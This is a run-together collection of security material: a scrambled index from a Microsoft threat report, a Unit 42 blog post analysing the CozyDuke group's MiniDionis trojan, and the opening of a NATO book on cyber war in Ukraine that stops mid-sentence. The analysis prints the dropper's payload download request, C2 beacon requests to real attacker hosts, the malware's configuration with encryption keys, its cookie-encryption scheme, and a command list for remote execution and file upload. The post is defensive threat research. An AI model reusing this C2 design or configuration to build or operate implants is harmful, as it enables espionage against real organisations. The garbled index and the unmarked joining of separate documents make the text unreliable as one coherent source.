EoRezo, 74, 143 Greece, 128 Estonia, 128 Guadeloupe, 128 Europe, 3, 52, 66, 74, 77 Guatemala, 128 European Cybercrime Centre, 77 Honduras, 128 Exchange Online, 95, 96, 97, 98, 125, 126 Hong Kong SAR, 128 Exchange Online Advanced Threat HSBC, 24 Protection, 94 98, 126 exploit kits, vi, 41, 42, 43, 44 47, 49, 65, 76, 77, 81, 135, 143 exploits, v, vi, 3, 4, 7, 8, 9, 10, 14, 16, 17, 18, 19, Hungary, 128 Iceland, 67, 129 IeEnablerCby, 62, 67, 77, 78, 86, 144 IExtensionValidation, 41, 48, 55 56, 58 29, 31, 34, 35, 40 57, 58, 65, 70, 73, 74, IframeRef, 43, 44 75, 76, 77, 79, 80, 81, 83, 85, 86, 105, 132, India, 61, 62, 65, 73, 129 135, 138, 140, 141, 142, 143, 144, 145, 146, Indonesia, 65, 129 InstalleRex, 67, 72, 77, 78, 79, 80, 82, 86, 144 Adobe Flash Player, 41, 52 Internet Explorer, 8, 11, 17, 27, 36, 41, 43, 44, browser, 41, 53 46, 48, 50, 54, 55, 56, 55 56, 58, 78, 80, document, 41, 52 81, 99, 100, 104, 118, 126, 132, 136, 138, 141 HTML, 41, 44, 45 Enhanced Security Configuration, 80 Java, 41, 42, 43, 47 Interpol, 68, 69 JavaScript, 41, 45 Iraq, 65, 66, 91, 92, 129 operating system, 41, 42, 50 Ireland, 129 Silverlight, 46, 141 Israel, 129 zero-day, 3, 4, 8, 9, 16, 49 Italy, 90, 129 Facebook, 68, 76, 144 150 INDEX FakeCall, 63 JackTheRipper, 63, 74, 144 Jamaica, 129 Japan, ii, 67, 90, 129 Java Runtime Environment, 8, 41, 42, 43, 46, 49, 52, 56, 118, 141, 145, 146 Jenxcus, 66, 74, 75, 76, 80, 81, 85, 86, 144 Jordan, 92, 129 Kali Linux, 15 Kaspersky Lab, 69 Kazakhstan, 129 Kenilfe, 63, 144 categories, 69 by location, 72 families, 74 by operating system, 79 on home and enterprise computers, 82 malware hosting, 103 by country or region, 105 MAPS. See Microsoft Active Protection Service (MAPS) Kenya, 129 Martinique, 129 keyloggers, 11 Mauritius, 129 Kilim, 70, 73, 75, 76, 80, 81, 144 Meadgive, 43 KipodToolsCby, 61, 62, 65, 67, 77, 78, 80, 82, Metasploit, 9 85, 86, 144 Korea, 103, 129 Krypterade, 74, 144 Mexico, 61, 73, 74, 129 Microsoft Active Protection Service (MAPS), Kuwait, 129 Microsoft Digital Crimes Unit, ii, 69, 76 Latvia, 129 Microsoft IT, 111 Lebanon, 92, 129 Microsoft Malware Protection Center, ii, v, 3, Lenovo, 67, 142 26, 49, 69, 76, 77, 78, 87, 98, 115, 132, 141 Libya, 65, 66, 91, 92, 103, 129 Microsoft Malware Protection Engine, v, 126 Linux, 12, 15, 36, 49 Microsoft Office, ii, 16, 17, 95, 98, 126, 145 Lithuania, 129 Microsoft Safety Scanner, 125, 126 Lotoor, 50, 51, 144 Microsoft Security Bulletins, 14, 16, 18, 40, Luxembourg, 69, 129 Mac OS X, 49, 123 Macao SAR, 129 43, 44, 50, 54, 57, 141, 142, 143, 146, 147 Microsoft Security Essentials, 115, 118, 125, Macedonia, FYRO, 129 Microsoft Security Response Center, 113, 114 Macoute, 65, 144 Microsoft Update, 26, 81, 117, 125 Magnitude. See Pangimop Microsoft Word, 8, 16, 57, 117, 147 Malaysia, 129 Middle East, 66, 68, 76 Malicious Software Removal Tool, 136 Mimikatz, 14 Malicious Software Removal Tool (MSRT), MMPC. See Microsoft Malware Protection 59, 64, 76, 87, 88, 89, 90, 91, 92, 93, 125, 126, 127, 133 Center Mofin, 62, 144 Malta, 129 Moldova, 129 malware, v, vi, 3, 4, 6, 7, 9, 10, 11, 13, 15, 19, Mongolia, 92, 129 27, 31, 40, 41, 42, 43, 49, 51, 58 Morocco, 65, 66, 92, 129 99, 100, 102, 103, 104, 105, 111 19, 123 Mozambique, 129 125, 126, 132, 134, 135, 136, 137, 138, 139, Mozilla Firefox, 9, 10, 26, 36 140, 141 MSRC. See Microsoft Security Response banking, 21 27, 84, 102, 136, 141, 142, 143 Center by country or region, 60 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 151 MSRT. See Malicious Software Removal Tool (MSRT) multi-factor authentication, 19 Password Stealers & Monitoring Tools, 70, 73, 83, 84 Namibia, 129 Pdfjsc, 52, 145 NAP. See Network Access Protection Peaac, 62, 145 National Vulnerability Database, 31, 36 Peals, 62, 70, 73, 75, 77, 80, 81, 85, 87, 145 NATO, 3, 7 Peru, 130 Neclu, 43, 46, 47 Philippines, 130 Nepal, 65, 130 phishing, 3, 4, 7, 27, 100 103, 103, 104, 126, Netherlands, 69, 130 136, 138 Network Access Protection, 119 by country or region, 103 NeutrinoEK, 43 spear phishing, 4, 5, 19, 139 New Zealand, 130 target institutions, 102 Nicaragua, 130 Phishing Filter, 99, 100, 138 Nigeria, 130 PHP, 80, 146 Nordic countries, 67 Poland, 130 North America, 66, 74 Portugal, 21, 22, 130 Norway, 67, 91, 130 Portuguese language, 23 Nuclear (exploit kit). See Neclu Proslikefan, 62, 145 Nuqel, 65, 145 PtH. See pass the hash NVD. See National Vulnerability Database Puerto Rico, 130 Obfuscator (malware), 47, 49, 53, 62, 75, 80, Qatar, 130 81, 82, 86, 145 Obfuscators & Injectors, 70, 73, 75, 80, 81, 83, 85, 86 Object Linking and Embedding (OLE), 44, Office 365, ii, 95, 98, 126 Ogimant, 62, 74, 77, 145 OLE. See Object Linking and Embedding (OLE) Radonskra, 62, 145 Ramnit, 62, 68, 70, 75, 77, 81, 145 ransomware, vi, 70, 73, 74, 80, 83, 138, 143, 144, 146 Registry, Windows, 11 return-oriented programming (ROP), 16, 17, union, 130 Reveton, 74, 146 Oman, 130 rogue security software, vi, 63, 138 open-source intelligence, 4, 20, 137 Romania, 130 OpenSSL, 13 ROP. See return-oriented programming Oracle Corporation, 8, 48, 49 (ROP) security updates, 49 Rotbrow, 60 OSINT. See open-source intelligence Russia, 3, 61, 62, 69, 73, 74, 90, 105, 107, 130 Other Malware (category), 70, 73, 83 Russian language, 62 Pakistan, 65, 130 Safari, 36 Palestinian Authority, 65, 66, 92, 130 Sality, 75, 80, 81, 146 Panama, 107, 130 sandbox, 8 Pangimop, 47, 145 Saudi Arabia, 105, 130 Paraguay, 130 SaverExtension, 61, 65, 67, 71, 72, 73, 74, 77, pass the hash, 14, 19, 137 152 INDEX password stealers, 68, 84, 137 78, 79, 80, 82, 85, 86, 144, 146 SCEP. See System Center Endpoint System Center Endpoint Protection, 111, 113, Protection 115, 117, 125, 126 Sdbby, 42, 43, 146 Taiwan, 103, 105, 131 SDL. See Security Development Lifecycle Tanzania, 131 Security Development Lifecycle, 38, 39 targeted attacks, vi, 3 20, 56 57, 94, 140 security software, real-time, 21, 27, 40, 41, Thailand, 131 58, 87 94, 127 Trend Micro, 3, 69 by location, 90 Trinidad and Tobago, 131 by operating system, 93 trojans, vi, 24, 62, 70, 73, 75, 76, 80, 81, 83, expired, 89 security updates, 8, 9, 16, 17, 26, 44, 48, 49, 85, 87, 113, 123, 133, 134, 136, 140, 141, 142, 143, 144, 145, 146 Tugspay, 77, 146 Senegal, 65, 130 Tunisia, 65, 131 Serbia, 130 Turkey, 22, 61, 62, 73, 77, 92, 131 Silverlight, 46, 56, 141 UAC. See User Account Control Simda, 68 69, 146 Ukraine, 131 SimpleShell, 80, 146 United Arab Emirates, 103, 131 Singapore, 130 United Kingdom, 61, 63, 73, 74, 90, 131 Skeeyah, 70, 75, 77, 80, 81, 82, 146 United States, 61, 69, 73, 74, 90, 131 Slovakia, 130 unwanted software, v, 29, 58 98, 111 Slovenia, 130 24, 125, 126, 134, 135, 139, 140, 141 Slugin, 65, 146 smart cards, 119 by country or region, 60 SmartScreen Filter, 99 105, 126 categories, 69 SMEP. See Supervisor Mode Execution Protection (SMEP) social engineering, vi, vii, 7, 8, 9, 10, 19, 23, 43, 76, 84, 139, 143 software bundlers, 67, 72, 73, 77, 79, 80, 82, 83, 84, 86, 139, 144 by location, 72 families, 74 by operating system, 79 on home and enterprise computers, 82 Upatre, 84, 85, 87, 143, 146 Spain, 7, 130 Uruguay, 22, 131 spam, 80, 84, 87, 125, 136, 139, 142, 146 USB, 11, 15, 57, 126, 142, 144 spear phishing. See phishing User Account Control, 27, 42 Squid (proxy server), 13 VBScript, 76 Sri Lanka, 130 Venezuela, 131 SSL, 32, 33, 35, 37 Vercuser, 65, 147 STRONTIUM, 3 Vietnam, 92, 107, 131 Stuxnet, 43, 146 viruses, 63, 65, 68, 70, 73, 74, 75, 80, 81, 83, Supervisor Mode Execution Protection (SMEP), 18 123, 136, 140, 142, 144 VMWare, 49 Sweden, 22, 67, 130 VPN, 16 Sweet Orange. See Anogre vulnerabilities, v, vi, vii, 4, 8, 9, 15, 16, 17, 18, Switzerland, 130 39, 40 57, 72, 81, 105, 119, 132, 134, MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 153 135, 139, 140, 141, 142, 143, 144, 145, 146, Windows Defender Offline, 126 Windows Explorer, 43, 50, 115 application, 35 Windows Update, 26, 81, 118, 125 browser, 35 Windows Vista, 81, 82, 94, 125 complexity, 34 Wordinvop, 52, 147 in Microsoft products, 37 Wordjmp, 52, 147 operating system, 35 worms, vi, 62, 63, 65, 66, 68, 70, 73, 74, 75, severity, 33 Windows 7, 18, 81, 82, 94, 125 141, 142, 143, 144, 145, 147 Windows 8, 17, 18, 40, 44, 81, 82, 94, 126 Yeltminky, 66, 68 Windows 8.1, 17, 44, 81, 82, 93, 94, 126 YouTube, 76, 144 Windows Defender, 40, 94, 111, 115, 117, 118, Zimbabwe, 131 154 INDEX 76, 80, 81, 83, 85, 86, 87, 123, 136, 140, One Microsoft Way Redmond, WA 98052-6399 microsoft.com/security Tracking MiniDionis: CozyCar s New Ride Is Related to Seaduke Executive Summary Unit 42 has uncovered a new campaign from the CozyDuke threat actors, aka CozyCar [1], leveraging malware that appears to be related to the Seaduke malware described earlier this week by Symantec. [2] This campaign, which began on July 7, 2015, appears to be targeted at government organizations and think-tanks located in democratic countries [3], and utilizes compromised, legitimate websites for spear phishing and command and control activity. Unit 42 discovered the extent of this attack using the Palo Alto Networks AutoFocus service, which allows analysts to quickly find correlations among malware samples analyzed by WildFire. All files referenced throughout the analysis are contained in the IOC table at the end of this blog. Malware Details The Initial Droppers: Decoy and Downloader The current CozyCar campaign includes spear phishing emails that deliver the payload from either by a link to a .zip file on a compromised website or by direct delivery as an attachment to the phish. At the time of our analysis, the phishing link was no longer active. When a user opens the attached file a poorly detected executable file [VT 1/54] is extracted. The initial dropper is a self-extracting archive (SFX). Upon execution, this executable file will drop two files in the %TEMP% directory: a decoy .wav file and the secondary dropper. The CozyDuke group commonly uses legitimate media files to trick users. In reality, while the media .wav file with a female voice claiming to be a reporter looking for commentary is played, the secondary dropper executes in the background. The secondary dropper requests a .swf file using SSL as illustrated in the HTTP traffic below. As of this writing, the domain extranet.qualityplanning[.]com resolved to 64.244.34[.]200. GET /webscriptsecurity/view/4/player.swf HTTP/1.1 Accept: text/html,application/xhtml+xml,*/* Accept-Language: en_US User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: extranet.qualityplanning[.]com Connection: Keep-Alive GET /webscriptsecurity/view/4/player.swf HTTP/1.1 Accept: text/html,application/xhtml+xml,*/* Accept-Language: en_US User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: extranet.qualityplanning[.]com Connection: Keep-Alive The secondary dropper then cleans up after itself with a simple vbs script (md5:0d132ee171768dc30d14590ed2dbadd1) that leaves only the decoy multimedia file behind. But what did the dropper do with the .swf file? The Real Payload While the player.swf file downloaded by the second stage dropper does contain media, it is, again, a decoy. The actual flash component of this file is roughly 16kb, leaving approximately 200kb of the file unaccounted for. The second stage dropper contains decoding routines that decode the arbitrary binary data into an executable file. The executable file is dropped in %appdata%/Roaming and appears to try and emulate legitimate software names: TimbuktuDaemon, SearchIndexer, RtkAudioService64, dirmngr, o2flash, and usbrefs64. This file was not observed on VirusTotal until July 9 and has extremely low detection rates [VT: 3/54]. It appears that the authors of this particular iteration of the CozyCar group s malware internally call it miniDionis according to pdb strings left in the binary (c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb). It also appears to be an iteration on the forkmeimfamous aka Seaduke malware analyzed by Unit 42 in a previous blog [4]. The malware stores 2 files in the %temp% directory: a configuration file and a secondary dll. The configuration file s name matches the final characters of the bot_id that is contained within as per the sample below: "bot_id": "8C9U-01MRLXW", "host_scripts": [ "https://www.illuminatistudios.net/mobile/viewer.php" "bot_id": "8C9U-01MRLXW", "host_scripts": [ "https://www.illuminatistudios.net/mobile/viewer.php" Figure 1. .net disassembly of the primary payload shows the author s name for the project, miniDionis Analysis of the secondary dll file (name matches [A-Z0-9]{1}\.tmp) indicates that its primary function is to serve as a cleanup mechanism for the dropped binary. This is likely an attempt to thwart forensic investigations. Further examination of memory dumps taken following the execution of miniDionis reveals some clues into the beaconing activity exhibited. The malware stores configuration values in memory as key:value pairs: "autoload_settings": { "app_name": "Wuauctl", "delete_after": false, "exe_name": "Wuauctl.exe" "cookie_name": "SSID", "enable_autoload": false, "first_run_delay": 0, "host_scripts": [ "https://www.illuminatistudios[.]net/mobile/viewer.php" "key_id": "01MRLXW", "keys": { "aes": "PmDqw0pO4Rju5MFsqkRj7k5pV/84kXC9NdjIRgkN8gU=", "aes_iv": "tYa/iASKhNsyzFZjHolthw==" "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "autoload_settings": { "app_name": "Wuauctl", "delete_after": false, "exe_name": "Wuauctl.exe" "cookie_name": "SSID", "enable_autoload": false, "first_run_delay": 0, "host_scripts": [ "https://www.illuminatistudios[.]net/mobile/viewer.php" "key_id": "01MRLXW", "keys": { "aes": "PmDqw0pO4Rju5MFsqkRj7k5pV/84kXC9NdjIRgkN8gU=", "aes_iv": "tYa/iASKhNsyzFZjHolthw==" "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" The configuration of miniDionis is a JSON blob with several important sections, which are described in the table below: Functionality autoload_settings dictionary containing values which control the malware s behavior when executing via persistence mechanisms app_name subkey of autload_settings, defines the value to be used as the malware s name delete_after subkey of autload_settings, boolean value that defines whether the executable is to be deleted after exectuing exe_name subkey of autload_settings, defines the value to be used as the exectuable file s name cookie_name defines the value in which cookie data will be stored enable_autoload boolean value which controls persistence first_run_delay time in seconds to delay initial beaconing after execution host_scripts dictionary containing the location of C2s key_id equivalent to the bot_id; also used to derive values in C2 comms keys dictionary containing an AES key and AES IV aes value aes_iv aes_iv user_agent HTTP User-Agent header to be used when communicating with a Table 1. miniDionis configuration keys Network Communications The functional payload of this Trojan starts by creating a Mutex by splitting the bot_id value in the configuration on the hyphen ( ) and using the second portion of the split string (specifically, 01MRLXW in the case of this configuration). From a functionality standpoint, the Trojan uses the concept of tasks that are processed and completed using a pool of threads. To obtain tasks, the Trojan will issue an HTTPS request to the C2 server host_scripts in the configuration) that resembles the following example beacon: GET /mobile/viewer.php HTTP/1.1 Accept: */* Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: www.illuminatistudios[.]net Cookie: SSID=sLW5XoHJDwU3YxCRzwsEnfPPksD1sggcC8-25A Accept-Encoding: gzip, deflate Connection: Keep-Alive GET /mobile/viewer.php HTTP/1.1 Accept: */* Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: www.illuminatistudios[.]net Cookie: SSID=sLW5XoHJDwU3YxCRzwsEnfPPksD1sggcC8-25A Accept-Encoding: gzip, deflate Connection: Keep-Alive The Trojan manually creates the cookie in this HTTP request. The cookie contains ciphertext that the Trojan creates based on the bot_id in the JSON configuration. The Trojan compresses the bot_id string using zlib and then encrypts it using the RC4 algorithm using a generated key. The generated key is a SHA1 hash of two randomly created strings: the first of which is between 2 and 8 bytes long and the second is between 1 and 7 characters in length. The ciphertext of the bot_id is then based64 encoded and finally the appended to the cookie_name SSID= ) in the configuration and sent within the HTTP request to the C2 server. Unit 42 did not observe the first random string (between 2 and 8 characters in length) sent to the C2 in the first beacon, which would be required by the C2 to reproduce the exact SHA1 hash used as a key to generate the ciphertext in the cookie. Upon further examination we believe that the C2 will not be able to decrypt the cookie in the first beacon. Instead, the C2 will respond to the first beacon with data that the Trojan will use to extract a string, using a function named TrExtractKey seen in Figure 2, to replace the first random string used to generate the SHA1 hash. Once the C2 and Trojan have synchronized using this string, the C2 will be able to decrypt subsequent network beacons because the Trojan includes the random string between 1 and 7 characters that makes up the second half of the SHA1 hash within the cookie field before the ciphertext. Figure 2. TrExtractKey Function Used by MiniDionis to Obtain String from C2 to Synchronize Keys The C2 communications, and several of the commands we will discuss in this blog, include a rather interesting technique to manually handle HTTP redirection, such as the HTTP 301 Moved Permanently and HTTP 302 Found status codes. The technique used to handle these redirections involves checking for the presence of a Location field within the HTTP headers of the server response, then using regular expressions to parse the HTML within server response to find the appropriate URL. The code contains three regular expressions to parse the HTML to locate the URL, the first of which is .*? that locates all of the tags associated with link within the HTML. The second regular expression of onclick=\ Accept();\ locates only links within the HTML with a specific onclick action. The last regular expression of href\\s*=\\s*(?:[\ ](?<1>[^\ ]*)[\ ]|(?<1>\\S+)) to obtain the correct URL to interact with as the C2 server. Command handler Once the C2 and Trojan have synchronized and can decrypt their network communications the C2 server will begin responding to beacons from the Trojan with JSON blobs. Unit 42 has not received any JSON blobs from an active C2 server, but based on static analysis of the Trojan determined the JSON would look as follows: { 'tasks' : [ {'task_id' : "", 'task_data' : {'command' : "", 'data' : ""} }, ] } { 'tasks' : [ {'task_id' : "", 'task_data' : {'command' : "", 'data' : ""} }, ] } The Trojan takes this JSON blob and adds each task in the list into a pool for processing. Separate worker threads access this pool of tasks and process the commands and perform the necessary activities. Unit 42 analyzed the Trojan s command handler and found several commands, as seen in Table 2, which allows the threat actors to carry out a full range of activities on the system. Command Sub-Command Description Checks for subcommands within the data section, if not it attempts to run the data using cmd /c Changes directory Returns current working directory Change to temporary directory :set_update_interval Sets the timeout between network beacons :proxy Configures proxy information :exit Exits the Trojan and responds to the C2 server with Bye! :wget Downloads a file from a specified URL :uploadto Uploads a file to a specified URL exec Launches an application and waits for it to exit execw Launches an applications and does not wait for it to exit Uploads or downloads from a list of files to or from the C2 server Sends system information from the compromised system to the C2 server Table 2. Available Commands within MiniDionis Command Handler Conclusion The actors behind the CozyDuke framework are highly sophisticated, motivated, and have become increasingly bold in their campaigns. We recommend that other security practitioners review the included Indicators of Compromise (IoCs) to ensure they have not been targets in this campaign, and add the appropriate security controls to prevent future attacks. This group is reliant on social engineering, and thus, user education remains of paramount importance. Palo Alto Networks customers using WildFire were protected from this campaign. All known elements of this campaign have been accurately identified by WildFire as malicious. IOCs domain ff.whitebirchpaper[.]com domain visionresearch[.]com domain betawebservices.ntnonline[.]com domain staff.shasta[.]com hostname extranet.qualityplanning[.]com hostname secure.hgl[.]com hostname illuminatistudios[.]net 103.254.16.168 103.226.132.7 122.228.193.115 01039a95e0a14767784acc8f07035935 0f9534b63cb7af1e3aa34839d7d6e632 2e64131c0426a18c1c363ec69ae6b5f2 70f5574e4e7ad360f4f5c2117a7a1ca7 1dd593ad084e1526c8facce834b0e124 42ffc84c6381a18b1f6d000b94c74b09 719cf63a3922953ceaca6fb4dbed6584 f415470b9f0edc1298b1f6ae75dfaf31 ca770a4c9881afcd610aad30aa53f651 24083e6186bc773cd9c2e70a49309763 b0a9a175e2407352214b2d005253bc0c b55628a605a5dfb5005c44220ae03b8a 26bd36cc57e30656363ca89910579f63 a9c045c401afb9766e2ca838dc6f47a4 f8cb10b2ee8af6c5555e9cf3701b845f c8b49b42e6ebb6b977ce7001b6bd96c8 030da7510113c28ee68df8a19c643bb0 e07ef8ffe965ec8b72041ddf9527cac4 4cbd9a0832dcf23867b092de37c10d9d 3a04a5d7ed785daa16f4ebfd3acf0867 9018fa0826f237342471895f315dbf39 98613ecb3afde5fc48ca4204f8363f1d e00bf9b8261410744c10ae3fe2ce9049 51ea28f4f3fa794d5b207475897b1eef 3195110045f64a3c83fc3e043c46d253 1dd593ad084e1526c8facce834b0e124 connectads[.]com kane-consulting[.]net edadmin.kearsney[.]com redbluffchamber[.]com Sources [1] https://securelist.com/blog/research/69731/the-cozyduke-apt/ [2] http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory [3] http://www.theregister.co.uk/2015/04/22/cozyduke_hackers_white_house_state_dept_malware/ [4] http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ cyber war in perspective: russian aggression against ukraine Cyber War in Perspective: Russian Aggression against Ukraine Edited by Kenneth Geers This publication may be cited as: Kenneth Geers (Ed.), Cyber War in Perspective: Russian Aggression against Ukraine, NATO CCD COE Publications, Tallinn 2015. 2015 by NATO Cooperative Cyber Defence Centre of Excellence. All rights reserved. No part of this publication may be reprinted, reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopying, recording or otherwise, without the prior written permission of the NATO Cooperative Cyber Defence Centre of Excellence (publications@ccdcoe.org). This restriction does not apply to making digital or hard copies of this publication for internal use within NATO, and for personal or educational use when for non-profit or non-commercial purposes, providing that copies bear a full citation. NATO CCD COE Publications Filtri tee 12, 10132 Tallinn, Estonia Phone: +372 717 6800 Fax: +372 717 6308 E-mail: publications@ccdcoe.org Web: www.ccdcoe.org LEGAL NOTICE This publication is a product of the NATO Cooperative Cyber Defence Centre of Excellence (the Centre). It does not necessarily reflect the policy or the opinion of the Centre or NATO. The Centre may not be held responsible for any loss or harm arising from the use of information contained in this publication and is not responsible for the content of the external sources, including external websites referenced in this publication. Print: EVG Print Cover design & content layout: Villu Koskaru ISBN 978-9949-9544-4-5 (print) ISBN 978-9949-9544-5-2 (pdf) NATO Cooperative Cyber Defence Centre of Excellence The Tallinn-based NATO Cooperative Cyber Defence Centre of Excellence (NATO CCD COE) is a NATO-accredited knowledge hub, think-tank and training facility. The international military organisation focuses on interdisciplinary applied research and development, as well as consultations, trainings and exercises in the field of cyber security. The Centre s mission is to enhance capability, cooperation and information-sharing between NATO, Allies and partners in cyber defence. Membership of the Centre is open to all Allies. The Czech Republic, Estonia, France, Germany, Greece, Hungary, Italy, Latvia, Lithuania, the Netherlands, Poland, Slovakia, Spain, Turkey, the United Kingdom and the USA have signed on as sponsoring nations. Austria and Finland have joined the Centre as contributing participants. The Centre is funded and staffed by these member nations. Contents Foreword Key Events 1. Introduction: Cyber War in Perspective | Kenneth Geers, NATO CCD COE / Atlantic Council / Taras Shevchenko National University of Kyiv Strategic Framework 2. Russia and Its Neighbours: Old Attitudes, New Capabilities | Keir Giles, Conflict Studies Research Centre 3. Cyber War and Strategic Culture: The Russian Integration of Cyber Power into Grand Strategy | James J. Wirtz, Naval Postgraduate School Compelling Opponents to Our Will The Role of Cyber Warfare in Ukraine | James A. Lewis, Centre for Strategic and International Studies (CSIS) 5. The Cyber War that Wasn | Martin Libicki, RAND Tactical Viewpoints 6. Revolution Hacking | Nikolay Koval, CyS Centrum LLC 7. Cyber Operations at Maidan: A First-Hand Account | Glib Pakharenko, ISACA Kyiv 8. Beyond Cyber War : Russia s Use of Strategic Cyber Espionage and Information Operations in Ukraine | Jen Weedon, FireEye 9. Cyber Proxies and the Crisis in Ukraine | Tim Maurer, New America Information Warfare 10. Russian Information Warfare: Lessons from Ukraine | Margarita Levin Jaitner, Swedish Defense University 11. Missing in Action: Rhetoric on Cyber Warfare | Liisa Past, NATO CCD COE 12. Strategic Communications and Social Media in the Russia Ukraine Conflict | Elina Lange-Ionatamishvili & Sanda Svetoka, NATO Strategic Communications Centre of Excellence Policy and Law 13. Ukraine: A Cyber Safe Haven? | Nadiya Kostyuk, University of Michigan 14. A Legal Framework for Cyber Operations in Ukraine | Jan Stinissen, NATO CCD COE 15. The Ukraine Crisis as a Test for Proposed Cyber Norms | Henry R igas, NATO CCD COE 16. Northern European Cyber Security in Light of the Ukraine War | Jarno Limn ll, Aalto University The Future 17. What s Next for Putin in Ukraine: Cyber Escalation? | Jason Healey & Michelle Cantos, Columbia University 18. Strategic Defence in Cyberspace: Beyond Tools and Tactics | Richard Bejtlich, The Brookings Institution Authors................................................................................................................ 171 Foreword Sven Sakkov Director, NATO Cooperative Cyber Defence Centre of Excellence In mid-January 2014, the Ukrainian Rada passed tough anti-protest regulations that seemed to be designed to nip the emerging anti-government mood in the bud. Over the next months, in the harsh Ukrainian winter, opposition protests escalated and turned bloody. The ensuing turmoil included a runaway President, Russian occupation of Crimea and an armed conflict in Eastern Ukraine. The world held its breath and many expected to see a full-fledged cyber war However, although an increase in typical cyber skirmishes was reported throughout the crisis, prominent cyber operations with destructive effects have not yet occurred. The possible reasons for this seemingly low-level employment of cyber attacks in Ukraine characterise the particular role of cyber operations in modern conflicts. The case of Ukraine proves that the use of cyber operations has to be understood in the wider strategic context. In Ukraine we saw in line with national doctrine that Russian information warfare both included and relied upon cyber elements. Reported cyber incidents such as defacements, information leaks or DDoS attacks against media or governmental organisations were predominantly in support of the intense Russian information operation against Ukraine and the West. Furthermore, due to the historical interconnectedness of networks and sophisticated spyware tools applied by APT groups, it is widely presumed that Russia is actively leveraging the intelligence provided by its effective cyber espionage campaigns for strategic gain. As cyberspace functions as the main medium for disseminating and gathering information, destructive cyber operations hindering information flows in Ukraine would have been unreasonable from the Russian point of view. Another strategic consideration affecting Russian use of cyber attacks is the relative effectiveness of traditional kinetic operations. If we look at the Russian actions in Crimea and the Donbass, there was no practical need to engage in destructive offensive cyber operations to achieve the military objectives. For instance, one of the first targets during the occupation of Crimea was an Internet Exchange Point, which was taken over by Russian special forces in order to assure information superiority by disrupting cable connections with the mainland. In short, the case indicates that kinetic actions might in some circumstances be more effective and less costly than sophisticated cyber operations. This factor is even more relevant in Ukraine, where the infrastructure is often outdated and not highly IT-dependent. Even though highly visible and destructive attacks have not been reported, information-oriented cyber operations in Ukraine have nevertheless functioned as an essential strategic element of Russian whole spectrum warfare. In brief, the book reflects several mutually reinforcing reasons why we did not witness large-scale or massive cyber attacks with destructive effects: Espionage and information campaigns conducted through cyberspace trumped other considerations for the Russian side; It is reasonable to achieve results with less resources and effort involved, i.e. if a cable can be cut physically, there is no need to use sophisticated cyber attacks; Both sides in the conflict have shown a considerable ability to control the escalation of the conflict. The cyber domain did not witness largescale warfighting, but neither did the domain of air after the tragedy of MH17; Ukraine did not offer very lucrative targets for destructive cyber attacks. To put these points into perspective: modern war is a messy affair, not a clean and glittery Hollywood movie. The emergence of cyber as a separate domain of warfighting does not necessarily offer magic solutions and miraculous short-cuts to achieve strategic goals. As of November 2015, the case has shown that destructive cyber operations are not (yet) a silver bullet in the arsenal of states which still operate below certain thresholds due to legal and political considerations and uncertainties over escalation. Nevertheless, we have to keep in mind that the conflict in Ukraine is not yet over the level and nature of cyber attacks can change rapidly, as the political-military environment in Ukraine remains unstable and unpredictable. Against the backdrop of the often unclear debate on so-called hybrid warfare and its cyber elements, this publication offers a reality check for policy-makers, scholars and the media to understand the haze of cyber war. This is done by applying an interdisciplinary approach as our book involves 17 subject-matter experts analysing the strategic, policy, legal and technical aspects of the case. The NATO Cooperative Cyber Defence Centre of Excellence would like to thank all of the book s authors, and especially the editor, Centre Ambassador Kenneth Geers, for their contributions to the project. Key Events Timeframe 2013 2014 Geopolitical Events November 2013 Ukrainian President Yanukovych s cabinet rejects the Ukraine-EU Association Agreement, igFebruary 2014 niting anti-government protests in Kyiv. Demonstrations gather pace in January and February of 2014 and culminate when clashes between protesters and government turn deadly. As a result, Yanukovich flees to Russia and the Parliament names Turchynov as interim President. 27 February 16 March On February 27, pro-Russian gunmen in combat uniforms dubbed little green men occupy Crimea and seize strategic sites. On March 16, 97% of voters reportedly back Crimea unrecognised referendum to join Russia. The EU and US agree on a first round of sanctions against Russia; several rounds follow as the crisis progresses. April May Armed conflict begins in eastern Ukraine. The first casualties between pro-Russian separatists and Ukrainian government forces are reported on April 17. Unrecognised referendums are held. Separatists declare independence in Donetsk and Luhansk on May 11. 25 May Petro Poroshenko is elected President of Ukraine. 17 June Malaysia Airlines flight MH17 from Amsterdam to Kuala Lumpur is shot down over eastern Ukraine, leaving nearly 300 dead. Shortly after the crash, the Security Service (SBU) of Ukraine releases an intercepted phone call purportedly between separatists in eastern Ukraine, discussing the fact that they shot down the plane. September The Minsk Protocol is signed by representatives of Ukraine, the Russian Federation, the Donetsk People s Republic, and the Lugansk People s Republic. A ceasefire agreement fails to stop fighting in Donbass as fierce fighting for Donetsk s airport erupts. 26 October Parliamentary elections are held: Poroshenko s Bloc wins and pro-western parties dominate the new political landscape. 2015 January February The Minsk Protocol ceasefire fails as heavy fighting continues. After weeks of fighting, on 22 January, Ukrainian forces withdraw from the main terminal of the strategically important Donetsk airport. On February 11, new talks start in Minsk to achieve a new peace deal. Parties agree to a pullout of heavy weaponry, but sporadic clashes continue. After heavy fighting in Debaltseve, Ukrainian forces retreat on 18 February. March The UN reports that an estimated 6,000 people have been killed in eastern Ukraine since 2014. August September The most recent ceasefire, agreed by the contact group in late August, appears to be holding, as fighting is at its lowest point since the beginning of the conflict. Prominent Cyber Incidents1 Sporadic cyber skirmishes, including distributed denial of service (DDoS) attacks and website defacements, accompany events throughout the crisis. Prominent examples include Russia 